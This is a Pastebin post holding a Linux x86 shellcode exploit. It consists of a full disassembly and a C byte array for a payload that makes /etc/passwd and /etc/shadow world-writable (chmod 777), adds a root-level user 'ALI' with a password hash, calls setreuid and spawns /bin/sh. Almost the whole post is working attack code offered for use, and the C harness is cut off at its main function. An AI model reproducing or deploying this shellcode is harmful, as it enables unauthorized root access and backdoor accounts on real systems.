Advertisement
Tr3v0r12345

Shellcode Linux x86 - chmod (777 /etc/passwd & /etc/shadow),

Sep 7th, 2014
775
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.83 KB | None | 0 0
  1. /*# Exploit Title: Shellcode Linux x86 chmod(777 /etc/passwd and /etc/shadow) && (Add new root user [ALI] with password [ALI] for ssh) && Execute /bin/sh
  2. # Date: 4/8/2014
  3. # Exploit Author: Ali Razmjoo
  4. # Tested on: kali-linux-1.0.4-i386 [3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux ]
  5. */
  6. /*
  7. Ali Razmjoo , Ali.Razmjoo1994@Gmail.Com
  8. Shellcode Linux x86 chmod(777 /etc/passwd and /etc/shadow) && (Add new root user [ALI] with password [ALI] for ssh) && Setreuid() , Execute /bin/sh
  9. length: 378 bytes
  10. chmod('/etc/passwd',777)
  11. chmod('/etc/shadow',777)
  12. open passwd , and write new root user with passwrd ( user: ALI pass: ALI ) , close passwd
  13. setreuid() , execve('/bin/sh')
  14.  
  15.  
  16. 00000000 <_start>:
  17. 0: 31 c0 xor %eax,%eax
  18. 2: 31 db xor %ebx,%ebx
  19. 4: 6a 0f push $0xf
  20. 6: 58 pop %eax
  21. 7: 68 6a 73 77 64 push $0x6477736a
  22. c: 5b pop %ebx
  23. d: c1 eb 08 shr $0x8,%ebx
  24. 10: 53 push %ebx
  25. 11: 68 2f 70 61 73 push $0x7361702f
  26. 16: 68 2f 65 74 63 push $0x6374652f
  27. 1b: 89 e3 mov %esp,%ebx
  28. 1d: 68 41 41 ff 01 push $0x1ff4141
  29. 22: 59 pop %ecx
  30. 23: c1 e9 08 shr $0x8,%ecx
  31. 26: c1 e9 08 shr $0x8,%ecx
  32. 29: cd 80 int $0x80
  33. 2b: 6a 0f push $0xf
  34. 2d: 58 pop %eax
  35. 2e: 68 6a 64 6f 77 push $0x776f646a
  36. 33: 5b pop %ebx
  37. 34: c1 eb 08 shr $0x8,%ebx
  38. 37: 53 push %ebx
  39. 38: 68 2f 73 68 61 push $0x6168732f
  40. 3d: 68 2f 65 74 63 push $0x6374652f
  41. 42: 89 e3 mov %esp,%ebx
  42. 44: 68 41 41 ff 01 push $0x1ff4141
  43. 49: 59 pop %ecx
  44. 4a: c1 e9 08 shr $0x8,%ecx
  45. 4d: c1 e9 08 shr $0x8,%ecx
  46. 50: cd 80 int $0x80
  47. 52: 6a 05 push $0x5
  48. 54: 58 pop %eax
  49. 55: 68 41 73 77 64 push $0x64777341
  50. 5a: 5b pop %ebx
  51. 5b: c1 eb 08 shr $0x8,%ebx
  52. 5e: 53 push %ebx
  53. 5f: 68 2f 70 61 73 push $0x7361702f
  54. 64: 68 2f 65 74 63 push $0x6374652f
  55. 69: 89 e3 mov %esp,%ebx
  56. 6b: 68 41 41 01 04 push $0x4014141
  57. 70: 59 pop %ecx
  58. 71: c1 e9 08 shr $0x8,%ecx
  59. 74: c1 e9 08 shr $0x8,%ecx
  60. 77: cd 80 int $0x80
  61. 79: 89 c3 mov %eax,%ebx
  62. 7b: 6a 04 push $0x4
  63. 7d: 58 pop %eax
  64. 7e: 68 41 73 68 0a push $0xa687341
  65. 83: 59 pop %ecx
  66. 84: c1 e9 08 shr $0x8,%ecx
  67. 87: 51 push %ecx
  68. 88: 68 6e 2f 62 61 push $0x61622f6e
  69. 8d: 68 3a 2f 62 69 push $0x69622f3a
  70. 92: 68 72 6f 6f 74 push $0x746f6f72
  71. 97: 68 4c 49 3a 2f push $0x2f3a494c
  72. 9c: 68 3a 30 3a 41 push $0x413a303a
  73. a1: 68 4b 2e 3a 30 push $0x303a2e4b
  74. a6: 68 66 77 55 57 push $0x57557766
  75. ab: 68 68 70 31 50 push $0x50317068
  76. b0: 68 7a 59 65 41 push $0x4165597a
  77. b5: 68 41 61 41 51 push $0x51416141
  78. ba: 68 49 38 75 74 push $0x74753849
  79. bf: 68 50 4d 59 68 push $0x68594d50
  80. c4: 68 54 42 74 7a push $0x7a744254
  81. c9: 68 51 2f 38 54 push $0x54382f51
  82. ce: 68 45 36 6d 67 push $0x676d3645
  83. d3: 68 76 50 2e 73 push $0x732e5076
  84. d8: 68 4e 58 52 37 push $0x3752584e
  85. dd: 68 39 4b 55 48 push $0x48554b39
  86. e2: 68 72 2f 59 42 push $0x42592f72
  87. e7: 68 56 78 4b 47 push $0x474b7856
  88. ec: 68 39 55 66 5a push $0x5a665539
  89. f1: 68 46 56 6a 68 push $0x686a5646
  90. f6: 68 46 63 38 79 push $0x79386346
  91. fb: 68 70 59 6a 71 push $0x716a5970
  92. 100: 68 77 69 53 68 push $0x68536977
  93. 105: 68 6e 54 67 54 push $0x5467546e
  94. 10a: 68 58 4d 69 37 push $0x37694d58
  95. 10f: 68 2f 41 6e 24 push $0x246e412f
  96. 114: 68 70 55 6e 4d push $0x4d6e5570
  97. 119: 68 24 36 24 6a push $0x6a243624
  98. 11e: 68 41 4c 49 3a push $0x3a494c41
  99. 123: 89 e1 mov %esp,%ecx
  100. 125: ba 41 41 41 7f mov $0x7f414141,%edx
  101. 12a: c1 ea 08 shr $0x8,%edx
  102. 12d: c1 ea 08 shr $0x8,%edx
  103. 130: c1 ea 08 shr $0x8,%edx
  104. 133: cd 80 int $0x80
  105. 135: 31 c0 xor %eax,%eax
  106. 137: b0 46 mov $0x46,%al
  107. 139: 31 db xor %ebx,%ebx
  108. 13b: 31 c9 xor %ecx,%ecx
  109. 13d: cd 80 int $0x80
  110. 13f: 31 c0 xor %eax,%eax
  111. 141: b0 46 mov $0x46,%al
  112. 143: 31 db xor %ebx,%ebx
  113. 145: 31 c9 xor %ecx,%ecx
  114. 147: cd 80 int $0x80
  115. 149: 68 59 59 59 59 push $0x59595959
  116. 14e: 68 58 58 58 58 push $0x58585858
  117. 153: 68 2f 73 68 42 push $0x4268732f
  118. 158: 68 2f 62 69 6e push $0x6e69622f
  119. 15d: 89 e3 mov %esp,%ebx
  120. 15f: 31 c0 xor %eax,%eax
  121. 161: 88 43 07 mov %al,0x7(%ebx)
  122. 164: 89 5b 08 mov %ebx,0x8(%ebx)
  123. 167: 89 43 0c mov %eax,0xc(%ebx)
  124. 16a: b0 0b mov $0xb,%al
  125. 16c: 8d 4b 08 lea 0x8(%ebx),%ecx
  126. 16f: 8d 53 0c lea 0xc(%ebx),%edx
  127. 172: cd 80 int $0x80
  128. 174: b0 01 mov $0x1,%al
  129. 176: b3 01 mov $0x1,%bl
  130. 178: cd 80 int $0x80
  131.  
  132. */
  133.  
  134. #include <stdio.h>
  135. #include <string.h>
  136. char sc[] = "\x31\xc0\x31\xdb\x6a\x0f\x58\x68\x6a\x73\x77\x64\x5b\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\x68\x41\x41\xff\x01\x59\xc1\xe9\x08\xc1\xe9\x08\xcd\x80\x6a\x0f\x58\x68\x6a\x64\x6f\x77\x5b\xc1\xeb\x08\x53\x68\x2f\x73\x68\x61\x68\x2f\x65\x74\x63\x89\xe3\x68\x41\x41\xff\x01\x59\xc1\xe9\x08\xc1\xe9\x08\xcd\x80\x6a\x05\x58\x68\x41\x73\x77\x64\x5b\xc1\xeb\x08\x53\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe3\x68\x41\x41\x01\x04\x59\xc1\xe9\x08\xc1\xe9\x08\xcd\x80\x89\xc3\x6a\x04\x58\x68\x41\x73\x68\x0a\x59\xc1\xe9\x08\x51\x68\x6e\x2f\x62\x61\x68\x3a\x2f\x62\x69\x68\x72\x6f\x6f\x74\x68\x4c\x49\x3a\x2f\x68\x3a\x30\x3a\x41\x68\x4b\x2e\x3a\x30\x68\x66\x77\x55\x57\x68\x68\x70\x31\x50\x68\x7a\x59\x65\x41\x68\x41\x61\x41\x51\x68\x49\x38\x75\x74\x68\x50\x4d\x59\x68\x68\x54\x42\x74\x7a\x68\x51\x2f\x38\x54\x68\x45\x36\x6d\x67\x68\x76\x50\x2e\x73\x68\x4e\x58\x52\x37\x68\x39\x4b\x55\x48\x68\x72\x2f\x59\x42\x68\x56\x78\x4b\x47\x68\x39\x55\x66\x5a\x68\x46\x56\x6a\x68\x68\x46\x63\x38\x79\x68\x70\x59\x6a\x71\x68\x77\x69\x53\x68\x68\x6e\x54\x67\x54\x68\x58\x4d\x69\x37\x68\x2f\x41\x6e\x24\x68\x70\x55\x6e\x4d\x68\x24\x36\x24\x6a\x68\x41\x4c\x49\x3a\x89\xe1\xba\x41\x41\x41\x7f\xc1\xea\x08\xc1\xea\x08\xc1\xea\x08\xcd\x80\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x68\x59\x59\x59\x59\x68\x58\x58\x58\x58\x68\x2f\x73\x68\x42\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xb0\x01\xb3\x01\xcd\x80";
  137. int main(void)
  138. {
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement